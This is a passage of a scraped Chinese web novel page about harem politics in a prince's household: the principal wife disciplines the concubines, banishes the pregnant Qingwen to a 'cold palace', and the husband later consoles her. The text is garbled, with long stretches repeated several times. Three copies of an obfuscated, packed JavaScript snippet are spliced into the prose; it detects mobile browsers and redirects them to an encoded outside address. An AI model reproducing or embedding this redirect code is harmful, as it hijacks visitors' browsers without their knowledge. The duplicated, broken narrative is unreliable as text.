既然你不怕遭天谴,那我也就成人之美。 “这可是你说的,乖乖让王叔给你找个贤惠的老婆操持家业。等结了婚,你就给我拖家带口滚到边疆去,少在这给我找麻烦。” “嘿嘿嘿嘿。”胖子又露出那副不要脸的憨笑,“大哥,去边疆没问题,但是去哪啊?要不还去东北?胖爷不怕冷,真的!” “想得美,等开了春东北就要进行大规模开发,你去那干什么?给我找麻烦?滚到广陵去,训练水军。” “广陵?那破地不得把人热死?胖子这个吨位去那边纯属遭罪啊!要不去辽东训练水军呢?” “你少给我讨价还价!诰命还要不要了?” “要要要,嘿嘿嘿嘿,行,大哥说去哪我就去哪!” “这还差不多。” 林臻翻个白眼准备去后院,谁知胖子还没完了,又追着问。 “大哥,那我训练水军,算什么职位啊?” “我们大乾有水军吗?” “有水。” 林臻:“.” 跟胖子这种缺心眼的就没办法细聊,也谈不了正经事儿。 大乾根本就没有水军,让你训练,那肯定是让你当元帅啊。 而且以胖子的性格,静澜仙子的诰命身份如果低于二品,肯定又得来王府拉屎,所以干脆一步到位,给她个一品。 这样不管是她的诰命,还是胖子的官职,都很合乎情理。 不过给个诰命之后,静澜这个名字肯定就不能叫了,这不光是因为嫁给胖子当小妾,主要还是照顾其他天道仙子的情绪。 万一**人效仿,大乾就乱套了。 最近需要处理的事情非常多,得一件一件交代。 且说婉儿招呼众女回府,此事被慕容嫣知道了。 也不知道她是好心,还是刻意,非要把宫里的几个女人留下吃晚饭,以至于她们回家的时候已经快宵禁了。 婉儿端坐中堂,身姿挺拔,白衣胜雪,如瀑的长发规规矩矩盘起,不见一丝散落。 她手里捧着一个暖手炉,脸色平静地盯着一旁烛火,看不出任何情绪。 当家主母做派显露无疑。 跟着她的几个丫鬟,包括兰陵在内都是大气不敢出,规规矩矩站在那,连脚冻僵了也不敢乱动一下,生怕 招来惩罚。 这王府后院,算是有了一位真正的主心骨。 林臻来看望过她,叮嘱几句注意身体后便离开了。 他知道,婉儿要给所有小妾一个下马威。 果然,众妻妾们手拉手欢声笑语地从外面回来,人人披着奢华的大氅。 头一个迈步进来的就是张俪。 财神爷嘛,大家都比较习惯捧着点。 进了门,看到婉儿坐在那里,张俪这才想起家里有一位必须要敬重的姐姐,于是立刻作揖。 “见过姐姐。” 婉儿点点头,还没说话,就见晴雯挺着肚子被月妩和刘妙颜搀扶着走到一边的椅子上准备坐下。 婉儿当即呵斥:“让你坐了吗?” “我”晴雯听后,两道柳叶眉当即就蹙了起来:“你说我呢?” “不然呢?你是不是夫君的小妾?” “是啊。” “那为何见我不理?为何不盘头发?又为何在没有同意的情况下说坐就坐?你可还有点规矩?” “嘿我这暴脾气,你个病秧子敢拿我立威?”晴雯一撸袖子就要冲上来,浣碧从旁边跑过来赶紧把她抱住。 “晴雯!晴雯!你冷静啊,小心别伤了孩子!” “你放开我!”晴雯不停地挣扎。 “敢在我身上找自信,谁给你的勇气?早知道你这个操行,我就不该给你立长生牌,就该找人下咒咒死你!” 招来惩罚。 这王府后院,算是有了一位真正的主心骨。 林臻来看望过她,叮嘱几句注意身体后便离开了。 他知道,婉儿要给所有小妾一个下马威。 果然,众妻妾们手拉手欢声笑语地从外面回来,人人披着奢华的大氅。 头一个迈步进来的就是张俪。 财神爷嘛,大家都比较习惯捧着点。 进了门,看到婉儿坐在那里,张俪这才想起家里有一位必须要敬重的姐姐,于是立刻作揖。 “见过姐姐。” 婉儿点点头,还没说话,就见晴雯挺着肚子被月妩和刘妙颜搀扶着走到一边的椅子上准备坐下。 婉儿当即呵斥:“让你坐了吗?” “我”晴雯听后,两道柳叶眉当即就蹙了起来:“你说我呢?” “不然呢?你是不是夫君的小妾?” “是啊。” “那为何见我不理?为何不盘头发?又为何在没有同意的情况下说坐就坐?你可还有点规矩?” “嘿我这暴脾气,你个病秧子敢拿我立威?”晴雯一撸袖子就要冲上来,浣碧从旁边跑过来赶紧把她抱住。 “晴雯!晴雯!你冷静啊,小心别伤了孩子!” “你放开我!”晴雯不停地挣扎。 “敢在我身上找自信,谁给你的勇气?早知道你这个操行,我就不该给你立长生牌,就该找人下咒咒死你!” 招来惩罚。 这王府后院,算是有了一位真正的主心骨。 林臻来看望过她,叮嘱几句注意身体后便离开了。 他知道,婉儿要给所有小妾一个下马威。 果然,众妻妾们手拉手欢声笑语地从外面回来,人人披着奢华的大氅。 头一个迈步进来的就是张俪。 财神爷嘛,大家都比较习惯捧着点。 进了门,看到婉儿坐在那里,张俪这才想起家里有一位必须要敬重的姐姐,于是立刻作揖。 “见过姐姐。” 婉儿点点头,还没说话,就见晴雯挺着肚子被月妩和刘妙颜搀扶着走到一边的椅子上准备坐下。 婉儿当即呵斥:“让你坐了吗?” “我”晴雯听后,两道柳叶眉当即就蹙了起来:“你说我呢?” “不然呢?你是不是夫君的小妾?” “是啊。” “那为何见我不理?为何不盘头发?又为何在没有同意的情况下说坐就坐?你可还有点规矩?” “嘿我这暴脾气,你个病秧子敢拿我立威?”晴雯一撸袖子就要冲上来,浣碧从旁边跑过来赶紧把她抱住。 “晴雯!晴雯!你冷静啊,小心别伤了孩子!” “你放开我!”晴雯不停地挣扎。 “敢在我身上找自信,谁给你的勇气?早知道你这个操行,我就不该给你立长生牌,就该找人下咒咒死你!” 招来惩罚。 这王府后院,算是有了一位真正的主心骨。 林臻来看望过她,叮嘱几句注意身体后便离开了。 他知道,婉儿要给所有小妾一个下马威。 果然,众妻妾们手拉手欢声笑语地从外面回来,人人披着奢华的大氅。 头一个迈步进来的就是张俪。 财神爷嘛,大家都比较习惯捧着点。 进了门,看到婉儿坐在那里,张俪这才想起家里有一位必须要敬重的姐姐,于是立刻作揖。 “见过姐姐。” 婉儿点点头,还没说话,就见晴雯挺着肚子被月妩和刘妙颜搀扶着走到一边的椅子上准备坐下。 婉儿当即呵斥:“让你坐了吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林臻来看望过她,叮嘱几句注意身体后便离开了。 他知道,婉儿要给所有小妾一个下马威。 果然,众妻妾们手拉手欢声笑语地从外面回来,人人披着奢华的大氅。 头一个迈步进来的就是张俪。 财神爷嘛,大家都比较习惯捧着点。 进了门,看到婉儿坐在那里,张俪这才想起家里有一位必须要敬重的姐姐,于是立刻作揖。 “见过姐姐。” 婉儿点点头,还没说话,就见晴雯挺着肚子被月妩和刘妙颜搀扶着走到一边的椅子上准备坐下。 婉儿当即呵斥:“让你坐了吗?” “我”晴雯听后,两道柳叶眉当即就蹙了起来:“你说我呢?” “不然呢?你是不是夫君的小妾?” “是啊。” “那为何见我不理?为何不盘头发?又为何在没有同意的情况下说坐就坐?你可还有点规矩?” “嘿我这暴脾气,你个病秧子敢拿我立威?”晴雯一撸袖子就要冲上来,浣碧从旁边跑过来赶紧把她抱住。 “晴雯!晴雯!你冷静啊,小心别伤了孩子!” “你放开我!”晴雯不停地挣扎。 “敢在我身上找自信,谁给你的勇气?早知道你这个操行,我就不该给你立长生牌,就该找人下咒咒死你!” 招来惩罚。 这王府后院,算是有了一位真正的主心骨。 林臻来看望过她,叮嘱几句注意身体后便离开了。 他知道,婉儿要给所有小妾一个下马威。 果然,众妻妾们手拉手欢声笑语地从外面回来,人人披着奢华的大氅。 头一个迈步进来的就是张俪。 财神爷嘛,大家都比较习惯捧着点。 进了门,看到婉儿坐在那里,张俪这才想起家里有一位必须要敬重的姐姐,于是立刻作揖。 “见过姐姐。” 婉儿点点头,还没说话,就见晴雯挺着肚子被月妩和刘妙颜搀扶着走到一边的椅子上准备坐下。 婉儿当即呵斥:“让你坐了吗?” “我”晴雯听后,两道柳叶眉当即就蹙了起来:“你说我呢?” “不然呢?你是不是夫君的小妾?” “是啊。” “那为何见我不理?为何不盘头发?又为何在没有同意的情况下说坐就坐?你可还有点规矩?” “嘿我这暴脾气,你个病秧子敢拿我立威?”晴雯一撸袖子就要冲上来,浣碧从旁边跑过来赶紧把她抱住。 “晴雯!晴雯!你冷静啊,小心别伤了孩子!” “你放开我!”晴雯不停地挣扎。 “敢在我身上找自信,谁给你的勇气?早知道你这个操行,我就不该给你立长生牌,就该找人下咒咒死你!” 第447章 打入冷宫 晴雯的性格相比以前,其实已经好很多了,但是她万万没想到,一直以来她最敬重的上官婉儿今天居然第一个拿她立威。 这让向来跋扈的晴雯怎么受得了?更别说她现在怀着孕呢,就连林震仙都不愿意招惹她。 婉儿就这么静静地坐在椅子上,看着上蹿下跳像只蝲蝲蛄似的晴雯,冷笑道。 “呵,你身为女子,完全没有半分矜持;身为小妾,见到主母居然不行礼。嫁做人妇不盘头发,即将当母亲还是这样嚣张跋扈。我不管以前夫君是怎么惯着你的,但是现在由我持家,家里就必须要有规矩!你若不服,我这就命人给你开间冷宫,让你好生反省。 “冷宫?你还真把自己当正宫娘娘了!? “慎言。婉儿目光清冷,“现在给你两个选择,立刻收起你跋扈的性子,盘上头发。否则,这就去冷宫住。 “我哪个都不选! “这可是你说的,来人! “在! 两名家丁立刻从婉儿身后的屏风后面走出来。 “把晴雯带到松林,关起来,孩子出生以前,不得见夫君! “是! 晴雯看着眼前的两个家丁,难以置信地说:“小凳子,小空子,你们敢动我!? 小凳子穿着朴素的家丁服饰,满脸复杂地说。 “晴雯夫人,对不住,王爷有令,后院所有人都必须听夫人的,您别生气,小的保证把松林打扫得干干净净,不会亏待您的。 “放屁!晴雯指着小凳子,“小凳子,当初我是怎么对你的!你母亲治病的钱是谁出的?现在你倒反天罡的居然帮着她对付我! 言罢她又看向小空子:“还有你!去年你兄弟三人全部进府里当差,是谁和大管家递的话?你们求我的时候一个个点头哈腰,现在都反过来欺负我! 啪—— 小凳子在自己脸上狠狠抽了一下:“晴雯夫人,是小的对不住您!等到了松林小的给您当牛做马。 小空子也跪下了:“晴雯夫人,是小人不对,可是王爷的话小人也不敢不听啊! 晴雯当然明白,婉儿能这么强势,就是因为背后有林震仙撑腰。 但是她不愿意就这么向婉儿屈服,否则以后这些丫鬟小厮还不欺负死她? “我要见夫君,如果夫君也让我去松林,我没有怨言! “你不可能再见到夫君了! “凭什么! “就凭我是内院之主。 “你!” 浣碧抱着晴雯的手臂晃了晃,焦急地劝慰;“晴雯,不要闹了,王爷已经说过让婉儿姐姐持家,我们还是听话吧!” 月妩也走过来说道:“晴雯,不要再和婉儿姐姐争执了,我陪你松林好不好?” 晴雯完全不领情。 “滚开!老娘用你装大尾巴狼?不就是松林么,老娘这就去,大不了带着孩子同归于尽!哼!”晴雯冷哼一声,眼泪啪叽一声落在地上,转身就走。 “诶!晴雯!” “晴雯妹妹!” 屋内众女面面相觑。 却见婉儿的脸色没有任何变化,十分冷漠地看着其他人。 刘妙颜平日里谁都不放在眼里,但今天却出奇的安静,包括也有了身孕的青霞,也没有对婉儿出言不逊。 她们都在观望,看看婉儿还有什么手段。 果然,婉儿望着所有人,声音清冷的道:“你们呢?见到我也不行礼么?” 众女对视一眼,纷纷来到近前站成两排。 第一排是司马椿蕾、顾镇、刘妙颜,张俪。 第二排是浣碧、青霞,月妩。 七名女子同时盈盈下拜福身:“参见姐姐。” 婉儿接过兰陵手里递过来的茶盏,拨弄两下茶叶,估计让她们等了十几秒,这才说:“免。” “谢姐姐。” 随即婉儿说道:“我知道你中间卧虎藏龙,有将军,有娘娘,还有为夫君赚钱大掌柜,但这都不是你们可以不遵守后院规矩的理由。我说几点,你们记下,日后若犯,家法处置。” “第一,不许和家里以外的其他男人说话。” 此言一出,张俪第一个不乐意了。 大姐啊,就算你是当家主母你也不能瞎指挥吧? 咱家是干娱乐产业的,不和男人说话,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413632|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们喝西北风啊? 张俪正要站出来,却见婉儿继续说道:“不过,鉴于各位的职责不同,这点就不强迫了。你们也别不愿意,在秦国,嫁了人的小妾连见陌生男人的资格都没有,就算偶尔上街也是需要戴斗笠,不得让男人看到任何一寸皮肤!” 刘妙颜嘀咕了一句:“呦呦呦~你们秦国女人还真惨呢~” “你说什么?” “没说什么。” 婉儿没理她,继续说道:“第二,身为妇人,盘头发是必须的,以后只要是夫君的小妾,任何人都不许再披着头发。” “第三,没有其他事情的小妾,以后就老老实实在家里 待着,相夫教子,伺候王爷,顺便教导丫鬟下人规矩。” 紧接着,婉儿按照《女训》、《女戒》等女子书籍又说了好多条,基本都是要符合传统妇人规范的东西。 刘妙颜、青霞等女听得都是直犯困。 司马椿蕾更是气暗暗攥紧粉拳。 到底是当家主母,她说话谁都得听着。 瞧这架势,以后自己就算当了皇后也得被她掣肘。 这是司马椿蕾最不喜欢看到的局面,她只能接受慕容嫣在她之上,至于其他女人,还没有这个资格。 但是眼下形势比人强,婉儿已经是王爷钦点的内院之主了,如果想超越她,就得在她之前怀上个孩子。 最好是个男孩! 只有这样,自己才能有发言权。 可是讨厌的夫君一直都不来陪我,这天天用手怎么才能坏孩子啊? 就在这时,婉儿说道:“贵妃娘娘和宁妃娘娘,您二位是宫里的,以后我不会多管。以后是住在王府还是宫里,您二位自便。” 司马椿蕾松了口气。 她还真担心整天和这样的呆板婆娘在一起。 可谁知,一向不喜欢说话的顾镇突然站了出来,对婉儿盈盈下拜。 “臣妾愿意跟姐姐一起住。” 婉儿眼睛一亮,不过很快便收了回去,问道:“不委屈?” “不委屈。” “那好,今晚就住在我这,其他人自便吧。” 第448章 你今天还没吃药呢 一直到深夜,这场小型后宫会议才算不圆满结束,众女悉数退了出去。 王府很大,而且早就已经将她们休息的地方收拾了出来,也派了丫鬟小厮伺候。 林臻一直在书房里处理政务。 婉儿那边不结束,他是不会过去的。 其实林臻自己就是个不喜欢传统羁绊的人,但对内院里的事情,他又不想过多插手。 有点又当又立的意思,说白了他内心深处对婉儿的歉意比对爱意更多,所以当王爷说让婉儿执掌内院的时候,他才没有反对。 而且有这样一位女子来管理家庭事宜,林臻也很放心。 吱呀—— 门被打开,冷风找到空挡立刻钻进来,让书房内的烛火一暗。 浣碧披着大氅,盘着头发,在两名丫鬟的拥簇下端着参汤走进来。 “夫君,这是妾身炖的汤,您快尝尝。”浣碧将汤碗放在林臻面前,后者放下铅笔,沉吟道:“叶县那边肯定有问题,而且第二批生铁韩国居然说等几天才能运。什么意思呢” 浣碧走到林臻身后,伸出葱白的手指按压住他的太阳穴,不轻不重地揉捏着。 “夫君歇息一会儿再办公吧。” 其实林臻一点都不累。 自从与噬心蛊融合后,他的身体非常强健,熬上几天也不碍事。不像以前,与刘书瑶奋战一夜,第二天腿肚子都直哆嗦。 他把浣碧的手捏在掌心,放在自己胸口上,轻轻拍了拍:“婉儿给你们开会了?” “嗯,夫人说了很多。” “晴雯呢?”林臻最担心的就是晴雯。 这个丫头正在修身养性,但这不是一朝一夕的事情,如果和婉儿杠上,说不准会爆发矛盾。 浣碧说:“晴雯被夫人打入松林,也就是冷宫。” “唉,我就知道晴雯不会甘心受她摆布的。” “夫人还说了很多,但妾身却不觉得有什么,都是很正常的要求。以前府里确实太没有规矩了,大管家林安不管内院的事情,都是妾身在盯着,但是妾身又事情太多,很多地方照顾不过来。导致部分丫鬟小厮不干活偷偷躲在一起**之类的,妾身又不好管,毕竟以前也是丫鬟。” 林臻拍了拍她的手背:“你是个心肠软的,自然干不好这些事情,以后就安心享福吧,婉儿会把内院的一切都安排好。” “夫君说得极是,夫人很有威严,已经把家里的丫鬟下人都训斥的服服帖帖了,曾经和晴雯她们好的小厮也都倒戈,这倒是 把晴雯气得够呛。” “该说不说,我得去看看晴雯,万一孩子有什么意外,这王府的天就塌了。” 说着林臻起身,浣碧从椅子边拿来大氅披在他肩膀。 林臻说道:“你先回去休息吧,好歹是主子,这些许小事不需要你亲自动手。” “她们粗手粗脚地干不好,也不知道夫君喜欢什么,还是妾身亲自伺候吧。” 见浣碧坚持,林臻也没有再说什么,而是点点头迈步离开。 他没有直接去找晴雯,那样就相当于是剥削了婉儿的权威,这对内院管理不利,于是他回到内院正堂。 刚进门,林臻跺了跺脚,震下许多积雪。 抬头,就见婉儿正坐在椅子上,趁着烛火看书,一身白衣胜雪,美不胜收。 听见动静,婉儿抬眸,见到林臻是后莞尔一笑。 “夫君,你回来了。” “身子还没好,为何还不休息?”林臻快步走过来,将她冰冰凉的小手握住:“熬夜对身体伤害最大了,你应该早些休息的。” “夫君没回来,妾身哪能先休息?既然给姐妹们立了规矩,妾身必定要第一个遵守。” “说起这规矩,晴雯真被你打入冷宫了?” 婉儿点点头,有些痴痴地望着他:“夫君莫不是心疼了?” “她怀着孕呢。” 林臻的意思就是,我确实心疼了。 婉儿自然是知道林臻心意的,她在府里的这段时间虽然不露面,但是也没闲着,可以说已经把家里女人都打听个遍。 林臻是最疼晴雯的,甚至不惜和林震仙吵架。 婉儿知道,所以她才更要让晴雯懂规矩,不能恃宠而骄,败坏王府声誉。 她轻轻拉住林臻的衣袖,把他拽到面前来,把那精致无痕的下巴抵在林臻肚子上,仰望着说。 “夫君放心,妾身派了好几名丫鬟小厮去陪着呢。只是晴雯太不守规矩,久而久之肯定会出事情,所以妾身才给她一点教训。不过今晚你还是去陪陪她比较好,像您说的,她毕竟怀着孕,需要稳定的情绪,以免出事情。妾身也不想我们家第一个孩子有什么意外。” “可是你还没吃药呢。”林臻一副正儿八经的样子,实则早已经是蠢蠢欲动。 毕竟是新夫妻嘛,总有些新鲜感在,尤其昨天婉儿大腿不方便,不怎么过瘾。 婉儿俏脸一红:“哎呀~治病又不是一天两天的事情,今天早上吃过了,明天再吃吧。” “也好,那我就去 看看晴雯,你早些休息,莫要太劳累了。” “知道了夫君~” 其实婉儿还是很乖巧的。 当然,这是对林臻而言,对其他妻妾,她可能相对严格了些。 没有规矩不成方圆。 尤其是大家族,在这一点更是要慎之又慎。 松林是古老的叫法。 这片由松树、松柏等组成的树林环抱着一座雅致的别院,是当年老王爷养生的地方。 后来老王爷去世,便一直慌着。 婉儿对家里的事情从来没有懈怠过,打她进门那一刻开始,她就对家里的一切都做了调查,并且暗中派人去操作。 就比如说这间松林,以前是疗养院,现在变成了处理不听话小妾的冷宫。 光秃秃的枝丫没有一片树叶,在寒冬与月色的笼罩下显得尤为凄凉。 远处看去,暗淡的烛火衬托着幽静,碎石子路上枯草丛生,尽头处,一个挺着大肚子的女人正在将一个当年老王爷珍爱的花瓶丢出去好远。 啪—— 一声脆响。 那价值不菲,融合着名将心血的花瓶便化为了一地碎片。 小凳子吓得不敢大声说话,只在那里默默的清扫,小空子跪在地上一个劲儿地磕头,希望晴雯可以消消气。 就在这时,林臻的脸从幽暗中显露,带着几分宠溺的笑容。 “雯儿,为何不把那个最大的花瓶也一起摔了呢?” 看看晴雯,你早些休息,莫要太劳累了。” “知道了夫君~” 其实婉儿还是很乖巧的。 当然,这是对林臻而言,对其他妻妾,她可能相对严格了些。 没有规矩不成方圆。 尤其是大家族,在这一点更是要慎之又慎。 松林是古老的叫法。 这片由松树、松柏等组成的树林环抱着一座雅致的别院,是当年老王爷养生的地方。 后来老王爷去世,便一直慌着。 婉儿对家里的事情从来没有懈怠过,打她进门那一刻开始,她就对家里的一切都做了调查,并且暗中派人去操作。 就比如说这间松林,以前是疗养院,现在变成了处理不听话小妾的冷宫。 光秃秃的枝丫没有一片树叶,在寒冬与月色的笼罩下显得尤为凄凉。 远处看去,暗淡的烛火衬托着幽静,碎石子路上枯草丛生,尽头处,一个挺着大肚子的女人正在将一个当年老王爷珍爱的花瓶丢出去好远。 啪—— 一声脆响。 那价值不菲,融合着名将心血的花瓶便化为了一地碎片。 小凳子吓得不敢大声说话,只在那里默默的清扫,小空子跪在地上一个劲儿地磕头,希望晴雯可以消消气。 就在这时,林臻的脸从幽暗中显露,带着几分宠溺的笑容。 “雯儿,为何不把那个最大的花瓶也一起摔了呢?” 看看晴雯,你早些休息,莫要太劳累了。” “知道了夫君~” 其实婉儿还是很乖巧的。 当然,这是对林臻而言,对其他妻妾,她可能相对严格了些。 没有规矩不成方圆。 尤其是大家族,在这一点更是要慎之又慎。 松林是古老的叫法。 这片由松树、松柏等组成的树林环抱着一座雅致的别院,是当年老王爷养生的地方。 后来老王爷去世,便一直慌着。 婉儿对家里的事情从来没有懈怠过,打她进门那一刻开始,她就对家里的一切都做了调查,并且暗中派人去操作。 就比如说这间松林,以前是疗养院,现在变成了处理不听话小妾的冷宫。 光秃秃的枝丫没有一片树叶,在寒冬与月色的笼罩下显得尤为凄凉。 远处看去,暗淡的烛火衬托着幽静,碎石子路上枯草丛生,尽头处,一个挺着大肚子的女人正在将一个当年老王爷珍爱的花瓶丢出去好远。 啪—— 一声脆响。 那价值不菲,融合着名将心血的花瓶便化为了一地碎片。 小凳子吓得不敢大声说话,只在那里默默的清扫,小空子跪在地上一个劲儿地磕头,希望晴雯可以消消气。 就在这时,林臻的脸从幽暗中显露,带着几分宠溺的笑容。 “雯儿,为何不把那个最大的花瓶也一起摔了呢?” 看看晴雯,你早些休息,莫要太劳累了。” “知道了夫君~” 其实婉儿还是很乖巧的。 当然,这是对林臻而言,对其他妻妾,她可能相对严格了些。 没有规矩不成方圆。 尤其是大家族,在这一点更是要慎之又慎。 松林是古老的叫法。 这片由松树、松柏等组成的树林环抱着一座雅致的别院,是当年老王爷养生的地方。 后来老王爷去世,便一直慌着。 婉儿对家里的事情从来没有懈怠过,打她进门那一刻开始,她就对家里的一切都做了调查,并且暗中派人去操作。 就比如说这间松林,以前是疗养院,现在变成了处理不听话小妾的冷宫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413633|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 光秃秃的枝丫没有一片树叶,在寒冬与月色的笼罩下显得尤为凄凉。 远处看去,暗淡的烛火衬托着幽静,碎石子路上枯草丛生,尽头处,一个挺着大肚子的女人正在将一个当年老王爷珍爱的花瓶丢出去好远。 啪—— 一声脆响。 那价值不菲,融合着名将心血的花瓶便化为了一地碎片。 小凳子吓得不敢大声说话,只在那里默默的清扫,小空子跪在地上一个劲儿地磕头,希望晴雯可以消消气。 就在这时,林臻的脸从幽暗中显露,带着几分宠溺的笑容。 “雯儿,为何不把那个最大的花瓶也一起摔了呢?” 看看晴雯,你早些休息,莫要太劳累了。” “知道了夫君~” 其实婉儿还是很乖巧的。 当然,这是对林臻而言,对其他妻妾,她可能相对严格了些。 没有规矩不成方圆。 尤其是大家族,在这一点更是要慎之又慎。 松林是古老的叫法。 这片由松树、松柏等组成的树林环抱着一座雅致的别院,是当年老王爷养生的地方。 后来老王爷去世,便一直慌着。 婉儿对家里的事情从来没有懈怠过,打她进门那一刻开始,她就对家里的一切都做了调查,并且暗中派人去操作。 就比如说这间松林,以前是疗养院,现在变成了处理不听话小妾的冷宫。 光秃秃的枝丫没有一片树叶,在寒冬与月色的笼罩下显得尤为凄凉。 远处看去,暗淡的烛火衬托着幽静,碎石子路上枯草丛生,尽头处,一个挺着大肚子的女人正在将一个当年老王爷珍爱的花瓶丢出去好远。 啪—— 一声脆响。 那价值不菲,融合着名将心血的花瓶便化为了一地碎片。 小凳子吓得不敢大声说话,只在那里默默的清扫,小空子跪在地上一个劲儿地磕头,希望晴雯可以消消气。 就在这时,林臻的脸从幽暗中显露,带着几分宠溺的笑容。 “雯儿,为何不把那个最大的花瓶也一起摔了呢?” 看看晴雯,你早些休息,莫要太劳累了。” “知道了夫君~” 其实婉儿还是很乖巧的。 当然,这是对林臻而言,对其他妻妾,她可能相对严格了些。 没有规矩不成方圆。 尤其是大家族,在这一点更是要慎之又慎。 松林是古老的叫法。 这片由松树、松柏等组成的树林环抱着一座雅致的别院,是当年老王爷养生的地方。 后来老王爷去世,便一直慌着。 婉儿对家里的事情从来没有懈怠过,打她进门那一刻开始,她就对家里的一切都做了调查,并且暗中派人去操作。 就比如说这间松林,以前是疗养院,现在变成了处理不听话小妾的冷宫。 光秃秃的枝丫没有一片树叶,在寒冬与月色的笼罩下显得尤为凄凉。 远处看去,暗淡的烛火衬托着幽静,碎石子路上枯草丛生,尽头处,一个挺着大肚子的女人正在将一个当年老王爷珍爱的花瓶丢出去好远。 啪—— 一声脆响。 那价值不菲,融合着名将心血的花瓶便化为了一地碎片。 小凳子吓得不敢大声说话,只在那里默默的清扫,小空子跪在地上一个劲儿地磕头,希望晴雯可以消消气。 就在这时,林臻的脸从幽暗中显露,带着几分宠溺的笑容。 “雯儿,为何不把那个最大的花瓶也一起摔了呢?” 看看晴雯,你早些休息,莫要太劳累了。” “知道了夫君~” 其实婉儿还是很乖巧的。 当然,这是对林臻而言,对其他妻妾,她可能相对严格了些。 没有规矩不成方圆。 尤其是大家族,在这一点更是要慎之又慎。 松林是古老的叫法。 这片由松树、松柏等组成的树林环抱着一座雅致的别院,是当年老王爷养生的地方。 后来老王爷去世,便一直慌着。 婉儿对家里的事情从来没有懈怠过,打她进门那一刻开始,她就对家里的一切都做了调查,并且暗中派人去操作。 就比如说这间松林,以前是疗养院,现在变成了处理不听话小妾的冷宫。 光秃秃的枝丫没有一片树叶,在寒冬与月色的笼罩下显得尤为凄凉。 远处看去,暗淡的烛火衬托着幽静,碎石子路上枯草丛生,尽头处,一个挺着大肚子的女人正在将一个当年老王爷珍爱的花瓶丢出去好远。 啪—— 一声脆响。 那价值不菲,融合着名将心血的花瓶便化为了一地碎片。 小凳子吓得不敢大声说话,只在那里默默的清扫,小空子跪在地上一个劲儿地磕头,希望晴雯可以消消气。 就在这时,林臻的脸从幽暗中显露,带着几分宠溺的笑容。 “雯儿,为何不把那个最大的花瓶也一起摔了呢?” 第449章 打个巴掌给个甜枣 “哼!”见是林臻,晴雯娇哼一声转过身去,背对着他,好像见到个十恶不赦、抛妻弃子的大渣男那般恶心。 林臻觉得有些好笑。 都是要当母亲的人了,还是这样喜欢耍小性子。 他走过来,从背面抱住她。 晴雯挣扎了几下,林臻不管,继续这么抱着,双手还顺势下滑到她隆起的小腹上。 小凳子两人见状急忙擦了擦额头上的血,飞也似的跑了出去。 开玩笑,世子和小妾恩爱你巴什么眼啊?(巴眼≈偷看) 林臻见晴雯挣扎几下便不动了,瘦弱的身子开始抽泣起来,于是说道:“好了好了,抱抱,你怎么说哭就哭呀?” “怎么?被打入冷宫还不让人哭两声?你家的规矩是够森严的!早知道这样,我就安心当个丫鬟,也不至于受这样的气!” “呵呵呵。”林臻宠溺地笑了笑,拥着她走进房间。 这间屋子不是很大,但胜在别致,内部的家伙什也一应俱全。 就是不知道老王爷在天之灵看到晴雯把他最喜欢的一个花瓶摔了个粉碎,会不会气得装鬼吓唬她。 烛火昏暗,照在床单上,闪烁着几分暧昧与旖旎,炭火在角落里噼里啪啦地脆响,袅袅毒烟顺着一根管道排向外面。 林臻拥着晴雯来到床边坐下,他自己则是蹲在晴雯面前,分开她的双腿,把耳朵贴在小腹上静静听着。 六个月的胎儿传来隐隐微弱的心跳,和晴雯那强有力的心跳声交织在一起,一高一低。 或许,这是一位父亲最喜欢听到的声音。 这一刻,晴雯也安静了下来,双手捧着林臻的脑袋,满脸的慈爱之色。 可她的性子就是不允许自己说软话,明明声音平静,言语却依旧那么刁钻。 “整天在宫里和陛下厮混,这会儿想起还有个孩子了?” “胡说,怎么就是厮混了,这么多的妻妾不得挨个照顾?再说,你有孕在身,就算陪你也不能做些什么。你夫君我能力这么强大,那方面想法又那么旺盛,你如何伺候?” “切~那你今天来干什么?还不快走开,陪你的婉儿去。” “其实就是婉儿让我来陪你的啊。” “鬼话连篇,我才不信!”提起婉儿,晴雯就气鼓鼓的。 林臻站起来,脱掉自己的衣物钻进被窝,随即掀开被子一角,拍了拍床榻对晴雯说道:“快上来,上来我告诉你。” “切~”晴雯再次翻个白眼,这才开始宽衣 解带。 说实话,女人在这一刻是最有魅力的。 一个女人,赤条条地站在面前其实并不美丽,最能勾人心魄的,最能引男人犯罪的,就是在她脱下衣服的瞬间。 就在此时,门外有丫鬟走进来,帮晴雯把换下来的衣服拿走,清晰、熨烫。 林臻这才知道,原来晴雯也有属于自己的小丫头了。 见她滑溜溜地钻进来,林臻伸出臂弯将她搂住,说道:“我们好像好久没有这样依偎在一起了呢。” 闻言,晴雯搂着林臻八块腹肌的手不由地紧了紧。 “夫君已经不疼雯儿了。” “没有,其实你根本不知道,在众多小妾中,我最宠的就是你,否则以你的脾气你还能在这个府里待下去?” 